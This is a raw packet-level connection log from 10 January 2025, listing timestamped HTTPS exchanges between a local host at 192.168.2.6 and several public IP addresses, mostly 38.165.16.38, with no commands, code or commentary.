Jan 10, 2025 00:51:41.113389015 CET	49846	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.113405943 CET	443	49846	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.132139921 CET	49857	443	192.168.2.6	199.91.74.208
Jan 10, 2025 00:51:41.134799957 CET	443	49845	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.134825945 CET	443	49845	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.134843111 CET	443	49845	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.134948015 CET	49845	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.134964943 CET	443	49845	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.135030985 CET	49845	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.147718906 CET	443	49849	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.147742987 CET	443	49849	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.147759914 CET	443	49849	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.147828102 CET	49849	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.147855043 CET	443	49849	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.147902966 CET	49849	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.148382902 CET	443	49851	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.148430109 CET	443	49851	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.148439884 CET	443	49851	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.148488045 CET	443	49851	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.148494005 CET	49851	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.148500919 CET	443	49851	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.148526907 CET	49851	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.148529053 CET	443	49851	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.148538113 CET	443	49851	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.148552895 CET	49851	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.148581982 CET	49851	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.148591995 CET	443	49845	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.148623943 CET	443	49845	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.148652077 CET	49845	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.148662090 CET	443	49845	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.148682117 CET	49845	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.150728941 CET	49849	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.150751114 CET	443	49849	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.154892921 CET	49851	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.154917955 CET	443	49851	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.175108910 CET	443	49848	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.175142050 CET	443	49848	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.175173998 CET	443	49848	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.175215006 CET	443	49848	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.175215960 CET	49848	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.175245047 CET	443	49848	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.175251007 CET	49848	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.175263882 CET	443	49848	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.175271034 CET	49848	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.175290108 CET	49848	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.175311089 CET	49848	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.188476086 CET	443	49850	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.188512087 CET	443	49850	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.188519955 CET	443	49850	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.188550949 CET	443	49850	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.188566923 CET	443	49850	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.188577890 CET	49850	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.188582897 CET	443	49850	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.188616991 CET	443	49850	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.188647985 CET	49850	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.188648939 CET	49850	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.188678980 CET	49850	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.194969893 CET	443	49848	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.195015907 CET	443	49848	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.195065975 CET	49848	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.195070982 CET	443	49848	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.195108891 CET	49848	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.197829962 CET	49845	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.202915907 CET	443	49848	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.202989101 CET	49848	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.202994108 CET	443	49848	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.203037024 CET	49848	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.203078032 CET	443	49848	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.203129053 CET	49848	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.203306913 CET	49848	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.203325033 CET	443	49848	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.206434011 CET	443	49850	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.206461906 CET	443	49850	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.206541061 CET	49850	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.206547976 CET	443	49850	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.206577063 CET	49850	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.207034111 CET	49872	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.207091093 CET	443	49872	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.207166910 CET	49872	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.207185984 CET	443	49850	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.207247019 CET	49850	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.207256079 CET	443	49850	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.207271099 CET	443	49850	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.207333088 CET	49850	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.207381964 CET	49872	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.207398891 CET	443	49872	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.208142042 CET	49850	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.208153963 CET	443	49850	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.208215952 CET	49873	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.208254099 CET	443	49873	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.208386898 CET	443	49845	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.208415031 CET	443	49845	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.208429098 CET	49873	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.208455086 CET	49845	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.208461046 CET	443	49845	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.208472967 CET	443	49845	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.208520889 CET	49845	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.208525896 CET	443	49845	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.208545923 CET	443	49845	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.208687067 CET	49845	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.209464073 CET	49873	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.209480047 CET	443	49873	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.213603973 CET	49874	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.213627100 CET	443	49874	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.213680983 CET	49874	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.213851929 CET	49845	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.213859081 CET	443	49845	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.214454889 CET	49874	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.214476109 CET	443	49874	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.215096951 CET	49875	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.215106010 CET	443	49875	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.215214014 CET	49875	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.215364933 CET	49875	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.215378046 CET	443	49875	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.217161894 CET	49876	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.217190027 CET	443	49876	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.217246056 CET	49876	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.217542887 CET	49877	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.217582941 CET	443	49877	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.217643976 CET	49877	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.217713118 CET	49876	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.217725992 CET	443	49876	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.217901945 CET	49877	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.217914104 CET	443	49877	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.234128952 CET	443	49852	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.234157085 CET	443	49852	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.234164953 CET	443	49852	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.234189987 CET	443	49852	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.234204054 CET	443	49852	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.234219074 CET	443	49852	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.234224081 CET	49852	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.234257936 CET	443	49852	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.234291077 CET	49852	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.234308004 CET	49852	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.255390882 CET	443	49852	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.255449057 CET	443	49852	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.255506039 CET	49852	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.255544901 CET	443	49852	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.255558968 CET	49852	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.255573988 CET	443	49852	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.255587101 CET	49852	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.255842924 CET	49852	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.255848885 CET	443	49852	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.255857944 CET	49852	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.260687113 CET	49878	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.260714054 CET	443	49878	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.260771990 CET	49878	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.261054039 CET	49879	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.261097908 CET	443	49879	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.261179924 CET	49879	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.261406898 CET	49878	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.261428118 CET	443	49878	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.261702061 CET	49879	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.261718988 CET	443	49879	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.277060032 CET	443	49858	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.277354956 CET	49858	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.277365923 CET	443	49858	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.277709007 CET	443	49858	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.278073072 CET	49858	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.278130054 CET	443	49858	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.278223991 CET	49858	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.315088034 CET	443	49859	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.315390110 CET	49859	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.315424919 CET	443	49859	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.315809011 CET	443	49859	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.316138983 CET	49859	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.316201925 CET	443	49859	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.316274881 CET	49859	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.318723917 CET	49858	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.318730116 CET	443	49858	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.363337994 CET	443	49859	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.428253889 CET	443	49862	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.428504944 CET	49862	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.428529978 CET	443	49862	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.429043055 CET	443	49862	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.430521011 CET	49862	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.430661917 CET	443	49862	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.430749893 CET	49862	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.448112965 CET	443	49861	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.448354006 CET	49861	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.448378086 CET	443	49861	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.448718071 CET	443	49861	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.449090958 CET	49861	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.449167013 CET	443	49861	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.449228048 CET	49861	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.475331068 CET	443	49862	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.491647005 CET	49861	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.491662025 CET	443	49861	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.506273985 CET	443	49857	199.91.74.208	192.168.2.6
Jan 10, 2025 00:51:41.506769896 CET	443	49857	199.91.74.208	192.168.2.6
Jan 10, 2025 00:51:41.506831884 CET	49857	443	192.168.2.6	199.91.74.208
Jan 10, 2025 00:51:41.507654905 CET	49857	443	192.168.2.6	199.91.74.208
Jan 10, 2025 00:51:41.507677078 CET	443	49857	199.91.74.208	192.168.2.6
Jan 10, 2025 00:51:41.507719994 CET	49857	443	192.168.2.6	199.91.74.208
Jan 10, 2025 00:51:41.507739067 CET	49857	443	192.168.2.6	199.91.74.208
Jan 10, 2025 00:51:41.570687056 CET	443	49865	148.153.240.68	192.168.2.6
Jan 10, 2025 00:51:41.571350098 CET	49865	443	192.168.2.6	148.153.240.68
Jan 10, 2025 00:51:41.571365118 CET	443	49865	148.153.240.68	192.168.2.6
Jan 10, 2025 00:51:41.571698904 CET	443	49865	148.153.240.68	192.168.2.6
Jan 10, 2025 00:51:41.572746038 CET	49865	443	192.168.2.6	148.153.240.68
Jan 10, 2025 00:51:41.572746038 CET	49865	443	192.168.2.6	148.153.240.68
Jan 10, 2025 00:51:41.572822094 CET	443	49865	148.153.240.68	192.168.2.6
Jan 10, 2025 00:51:41.581386089 CET	443	49859	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.581408978 CET	443	49859	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.581450939 CET	443	49859	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.581476927 CET	443	49859	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.581475973 CET	49859	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.581528902 CET	49859	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.582706928 CET	49859	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.582726955 CET	443	49859	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.616810083 CET	49865	443	192.168.2.6	148.153.240.68
Jan 10, 2025 00:51:41.627806902 CET	443	49858	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.627839088 CET	443	49858	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.627847910 CET	443	49858	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.627868891 CET	443	49858	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.627893925 CET	443	49858	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.627913952 CET	49858	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.627939939 CET	443	49858	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.627955914 CET	49858	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.627993107 CET	49858	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.632505894 CET	443	49866	90.84.164.16	192.168.2.6
Jan 10, 2025 00:51:41.635377884 CET	443	49843	58.254.150.48	192.168.2.6
Jan 10, 2025 00:51:41.635440111 CET	443	49843	58.254.150.48	192.168.2.6
Jan 10, 2025 00:51:41.635562897 CET	49843	443	192.168.2.6	58.254.150.48
Jan 10, 2025 00:51:41.637455940 CET	49843	443	192.168.2.6	58.254.150.48
Jan 10, 2025 00:51:41.637465954 CET	443	49843	58.254.150.48	192.168.2.6
Jan 10, 2025 00:51:41.637475014 CET	49866	443	192.168.2.6	90.84.164.16
Jan 10, 2025 00:51:41.637485981 CET	443	49866	90.84.164.16	192.168.2.6
Jan 10, 2025 00:51:41.637792110 CET	443	49866	90.84.164.16	192.168.2.6
Jan 10, 2025 00:51:41.639856100 CET	49866	443	192.168.2.6	90.84.164.16
Jan 10, 2025 00:51:41.639936924 CET	443	49866	90.84.164.16	192.168.2.6
Jan 10, 2025 00:51:41.640001059 CET	49866	443	192.168.2.6	90.84.164.16
Jan 10, 2025 00:51:41.641633987 CET	443	49858	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.641658068 CET	443	49858	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.641701937 CET	443	49858	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.641701937 CET	49858	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.641715050 CET	443	49858	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.641746044 CET	49858	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.641772985 CET	49858	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.641778946 CET	443	49858	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.641791105 CET	443	49858	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.641839027 CET	49858	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.643197060 CET	49858	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.643208981 CET	443	49858	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.653851032 CET	49882	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.653897047 CET	443	49882	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.653981924 CET	49882	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.654200077 CET	49882	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.654215097 CET	443	49882	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.683331013 CET	443	49866	90.84.164.16	192.168.2.6
Jan 10, 2025 00:51:41.694195986 CET	49866	443	192.168.2.6	90.84.164.16
Jan 10, 2025 00:51:41.704094887 CET	443	49861	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.704118013 CET	443	49861	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.704125881 CET	443	49861	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.704142094 CET	443	49861	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.704194069 CET	443	49861	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.704195976 CET	49861	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.704226017 CET	49861	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.704233885 CET	49861	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.705876112 CET	49861	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.705902100 CET	443	49861	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.708478928 CET	49883	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.708497047 CET	443	49883	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.710477114 CET	49883	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.711266994 CET	49883	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.711277962 CET	443	49883	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.756587029 CET	443	49862	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.756616116 CET	443	49862	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.756629944 CET	443	49862	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.756704092 CET	49862	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.756745100 CET	443	49862	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.756794930 CET	49862	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.771989107 CET	443	49862	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.772018909 CET	443	49862	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.772069931 CET	49862	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.772089005 CET	443	49862	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.772111893 CET	49862	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.777117968 CET	443	49862	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.777165890 CET	443	49862	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.777204990 CET	443	49862	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.777206898 CET	49862	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.777249098 CET	49862	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.809626102 CET	49862	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.809650898 CET	443	49862	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.809933901 CET	49884	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.810024977 CET	443	49884	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.810467958 CET	49884	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.811265945 CET	49884	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.811304092 CET	443	49884	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.897104025 CET	443	49872	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.909666061 CET	443	49874	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.925667048 CET	443	49875	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.925894976 CET	443	49877	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.931691885 CET	443	49876	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.947967052 CET	49872	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.952735901 CET	443	49873	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.954122066 CET	443	49878	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.955034018 CET	49874	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.964545965 CET	443	49879	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.966661930 CET	49887	443	192.168.2.6	58.254.150.48
Jan 10, 2025 00:51:41.966711998 CET	443	49887	58.254.150.48	192.168.2.6
Jan 10, 2025 00:51:41.966744900 CET	49879	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.966767073 CET	443	49879	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.966793060 CET	49887	443	192.168.2.6	58.254.150.48
Jan 10, 2025 00:51:41.966962099 CET	49878	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.966976881 CET	443	49878	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.967195988 CET	49873	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.967206955 CET	443	49873	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.967649937 CET	443	49879	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.967755079 CET	49879	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.967858076 CET	443	49878	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.967914104 CET	49878	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.968420982 CET	443	49873	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.969510078 CET	49873	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.969696999 CET	443	49873	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.972290039 CET	49876	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.972300053 CET	443	49876	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.972481012 CET	49877	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.972491026 CET	443	49877	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.972558975 CET	49875	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.972568035 CET	443	49875	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.972596884 CET	49874	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.972615004 CET	443	49874	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.972728014 CET	49872	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.972735882 CET	443	49872	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.972925901 CET	443	49874	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.973495007 CET	443	49876	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.973547935 CET	49876	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.973901987 CET	443	49875	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.974040985 CET	443	49872	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.976078033 CET	443	49877	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.976149082 CET	49877	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.994312048 CET	49873	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.995738029 CET	49877	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.995865107 CET	443	49877	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.996006966 CET	49872	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.996085882 CET	443	49872	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.996300936 CET	49875	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.996623039 CET	49876	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.996639967 CET	443	49875	38.165.16.38	192.168.2.6
